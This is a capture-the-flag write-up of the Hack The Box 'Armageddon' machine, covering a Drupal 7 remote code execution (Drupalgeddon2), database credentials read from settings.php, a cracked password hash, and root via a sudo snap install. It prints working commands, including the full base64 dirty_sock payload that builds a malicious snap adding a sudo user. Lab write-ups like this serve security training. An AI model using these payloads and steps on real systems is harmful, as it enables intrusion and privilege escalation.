Hack The Box – Armageddon

This is my write-up for the ‘Armageddon‘ box found on Hack The Box.

Synopsis

Drupal website with known CVE, Apache user, MYSQL access with stored user credentials, snap install with sudo permission.

Enumeration

Nmap

nmap -vv --reason -Pn -A --osscan-guess --version-all -p- 10.129.48.89

Nmap scan report for 10.129.48.89 (10.129.48.89)
Host is up, received user-set (0.14s latency).
Scanned at 2021-03-31 20:44:15 EEST for 874s
Not shown: 65533 closed ports
Reason: 65533 resets
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 82:c6:bb:c7:02:6a:93:bb:7c:cb:dd:9c:30:93:79:34 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDC2xdFP3J4cpINVArODYtbhv+uQNECQHDkzTeWL+4aLgKcJuIoA8dQdVuP2UaLUJ0XtbyuabPEBzJl3IHg3vztFZ8UEcS94KuWP09ghv6fhc7JbFYONVJTYLiEPD8nrS/V2EPEQJ2ubNXcZAR76X9SZqt11JTyQH/s6tPH+m3m/84NUU8PNb/dyhrFpCUmZzzJQ1zCDStLXJnCAOE7EfW2wNm1CBPCXn1wNvO3SKwokCm4GoMKHSM9rNb9FjGLIY0nq+8mt7RTJZ+WLdHsje3AkBk1yooGFF+0TdOj42YK2OtAKDQBWnBm1nqLQsmm/Va9T2bPYLLK5aUd4/578u7h
|   256 3a:ca:95:30:f3:12:d7:ca:45:05:bc:c7:f1:16:bb:fc (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBE4kP4gQ5Th3eu3vz/kPWwlUCm+6BSM6M3Y43IuYVo3ppmJG+wKiabo/gVYLOwzG7js497Vr7eGIgsjUtbIGUrY=
|   256 7a:d4:b3:68:79:cf:62:8a:7d:5a:61:e7:06:0f:5f:33 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIG9ZlC3EA13xZbzvvdjZRWhnu9clFOUe7irG8kT0oR4A
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-favicon: Unknown favicon MD5: 1487A9908F898326EBABFFFD2407920D
|_http-generator: Drupal 7 (http://drupal.org)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 36 disallowed entries 
| /includes/ /misc/ /modules/ /profiles/ /scripts/ 
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt 
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt 
| /LICENSE.txt /MAINTAINERS.txt /update.php /UPGRADE.txt /xmlrpc.php 
| /admin/ /comment/reply/ /filter/tips/ /node/add/ /search/ 
| /user/register/ /user/password/ /user/login/ /user/logout/ /?q=admin/ 
| /?q=comment/reply/ /?q=filter/tips/ /?q=node/add/ /?q=search/ 
|_/?q=user/password/ /?q=user/register/ /?q=user/login/ /?q=user/logout/
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
|_http-title: Welcome to  Armageddon |  Armageddon

Nmap reports that SSH (port 22) is available, as well as HTTP (port 80). We also get the http-generator to be Drupal 7 and from the http-robots.txt that are 36 disallowed entries like CHANGELOG.txt.

Drupal

From the changelog we identify the Drupal version (7.56).

After a search in the exploit-db there is a known RCE (CVE-2018-7600) with a Metasploit module named Drupalgeddon2.

Apache

Now that we have access to the files of the server we need to find the location of the Drupal configuration. From the official Drupal website we get that this file is located in sites/default/settings.php.

$databases = array (
  'default' =>
  array (
    'default' =>
    array (
      'database' => 'drupal',
      'username' => 'drupaluser',
      'password' => 'CQHEy@9M*m23gBVj',
      'host' => 'localhost',
      'port' => '',
      'driver' => 'mysql',
      'prefix' => '',
    ),
  ),
);

So we get a database name, username, password and that the database is MySQL.

User

We try the MySQL command in order to see if we have the option and we succeed. We just need to try the credentials from the Drupal configuration file.

Try to use the credentials and we gain access to the database. I faced a problem, I was logged in but the commands where not executing. The solution was to run the commands at the start of the MySQL.

mysql drupal -u drupaluser -pCQHEy@9M*m23gBVj -e 'Select name,pass from users;'

name

pass

brucetherealadmin

$S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt

The password is sha512 with salt as this is the default Drupal 7 way. With the use of john we get the plaintext booboo.

Using the aforementioned credentials with SSH we get the user flag.

Privilege Escalation

The user has sudo privilege to snap install so we can make a snap file that runs as root and adds a user with root privileges. Interesting enough the dirty_sock: Linux Privilege Escalation method creates a user with root privileges as last step. We get the base64 code that is inside the python script and create the snap file.

python -c print'"aHNxcwcAAAAQIVZcAAACAAAAAAAEABEA0AIBAAQAAADgAAAAAAAAAI4DAAAAAAAAhgMAAAAAAAD//////////xICAAAAAAAAsAIAAAAAAAA+AwAAAAAAAHgDAAAAAAAAIyEvYmluL2Jhc2gKCnVzZXJhZGQgZGlydHlfc29jayAtbSAtcCAnJDYkc1daY1cxdDI1cGZVZEJ1WCRqV2pFWlFGMnpGU2Z5R3k5TGJ2RzN2Rnp6SFJqWGZCWUswU09HZk1EMXNMeWFTOTdBd25KVXM3Z0RDWS5mZzE5TnMzSndSZERoT2NFbURwQlZsRjltLicgLXMgL2Jpbi9iYXNoCnVzZXJtb2QgLWFHIHN1ZG8gZGlydHlfc29jawplY2hvICJkaXJ0eV9zb2NrICAgIEFMTD0oQUxMOkFMTCkgQUxMIiA+PiAvZXRjL3N1ZG9lcnMKbmFtZTogZGlydHktc29jawp2ZXJzaW9uOiAnMC4xJwpzdW1tYXJ5OiBFbXB0eSBzbmFwLCB1c2VkIGZvciBleHBsb2l0CmRlc2NyaXB0aW9uOiAnU2VlIGh0dHBzOi8vZ2l0aHViLmNvbS9pbml0c3RyaW5nL2RpcnR5X3NvY2sKCiAgJwphcmNoaXRlY3R1cmVzOgotIGFtZDY0CmNvbmZpbmVtZW50OiBkZXZtb2RlCmdyYWRlOiBkZXZlbAqcAP03elhaAAABaSLeNgPAZIACIQECAAAAADopyIngAP8AXF0ABIAerFoU8J/e5+qumvhFkbY5Pr4ba1mk4+lgZFHaUvoa1O5k6KmvF3FqfKH62aluxOVeNQ7Z00lddaUjrkpxz0ET/XVLOZmGVXmojv/IHq2fZcc/VQCcVtsco6gAw76gWAABeIACAAAAaCPLPz4wDYsCAAAAAAFZWowA/Td6WFoAAAFpIt42A8BTnQEhAQIAAAAAvhLn0OAAnABLXQAAan87Em73BrVRGmIBM8q2XR9JLRjNEyz6lNkCjEjKrZZFBdDja9cJJGw1F0vtkyjZecTuAfMJX82806GjaLtEv4x1DNYWJ5N5RQAAAEDvGfMAAWedAQAAAPtvjkc+MA2LAgAAAAABWVo4gIAAAAAAAAAAPAAAAAAAAAAAAAAAAAAAAFwAAAAAAAAAwAAAAAAAAACgAAAAAAAAAOAAAAAAAAAAPgMAAAAAAAAEgAAAAACAAw"+ "A" * 4256 + "=="' | base64 --decode > exploit.snap

We install the snap file with the following command.

sudo /usr/bin/snap install --dangerous --devmode exploit.snap

Now there is a user with name and password dirty_sock with root privileges.

su dirty_sock
sudo -i

And we are root.

root:$6$OhKUwkvR$.uL.mlYJOz.ubK/FmXouGbU7vCVCG9s00K7R.ny9ryM.vXNdwZhOGCcq7e3XcbA5UpqUp.9eKY4hfLy9m5aU7/:18610:0:99999:7:::